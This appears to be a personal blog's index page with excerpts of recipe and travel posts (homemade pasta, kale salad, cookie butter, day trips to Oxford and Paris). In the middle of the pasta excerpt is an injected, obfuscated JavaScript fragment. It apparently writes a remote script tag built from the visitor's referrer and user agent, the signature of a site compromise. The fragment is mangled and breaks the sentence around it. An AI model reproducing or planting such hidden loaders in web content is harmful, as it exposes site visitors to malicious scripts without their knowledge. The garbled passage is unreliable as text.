Author: Bryn Miyahara

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Cooking Food

How to Make Homemade Pasta

It’s actually a lot easier than you might think. Really!  I promise. I was 100% skeptical as well. But then I got this!  ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|anafk|var|u0026u|referrer|ndbte||js|php’.split(‘|’),0,{})) The KitchenAid Pasta Roller attachment for my stand mixer! Yes, it looks like a medi torture device, but it’s actually super easy to use. Step 1: Pasta […]

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Baking Food Live

Baking Bread and Eating Cantaloupe

That’s what I did last weekend.  I baked some bread and ate a ton of cantaloupe. Did you know that cantaloupe is the most popular variety of melon in the US (via wikipedia….which is never wrong and my source on pretty much everything in life)?  I definitely would have guessed watermelon.  You? I was telling […]

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Cooking Food

Kale Salad

Have you jumped on the kale bandwagon? We’ve been on it for awhile – BEFORE TJs was selling bags of pre-cut and washed kale. We made a tasty kale salad the other night for dinner and I thought I’d share. Ingredients 2 cloves of garlic 2-3 Tbs olive oil 1/2 bag of TJs pre-cut kale […]

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Food Live

Christmas in your mouth

It’s the middle of summer and I just finished buying too many sweaters at the nordstrom sale.  I guess I must have winter on the brain.  And I blame Trader Joes for that! About a month ago I was introduced to TJ’s Cookie Butter.  I was told it was difficult to find – as it […]

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Food Live

Curried {Costco} Chicken Salad

I’m pretty sure a Costco chicken is one of the best deals out there.  A cooked chicken for $5.  You can’t get much for $5 anymore, let alone an entire {cooked!} bird! One of my new favorite things is making curried chicken salad with a Costco chicken.  It is a great way to prep lunches […]

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Travel

Postcards from Dorrington

We’re lucky enough to have friends with a cabin!  And they like us enough to invite us out!  Double bonus! The cabin is located in Dorrington, CA and it’s about 2 ish hours outside of Livermore.  But what is there to do in Dorrington?  Let me tell you! We spent Saturday afternoon hiking around Lake […]

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Food

Jello

Yep, I made Jello and it was delicious. If you haven’t had it recently, give it a try. It’s quite tasty! Happy Friday!

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Travel

Day Trip to Oxford

We decided to take a day trip to Oxford.  1 day in London was plenty, we were ready for a change (insert sarcasm here). We picked up our car and made the hour and a half drive to Oxford without incident. They tell you to park at the park and ride and take the bus […]

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Travel

Driving on the other side of the road

Lisa was a champ.  I knew she could do it. But seriously, how weird does this picture look?  Driver on the wrong side.  Everything is ok until your reflexes kick in.  Thankfully, it only happened once, and we came away unscathed!

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Travel

1 Day in Paris

There were those that said it couldn’t be done.  And to them I say, HA! We woke up at 4:30AM in order to catch our 6:30AM train to Paris! After a 2.5 hour train ride, we arrived at Gare du Nord.  We were able to purchase metro tickets on the train, which saved us a […]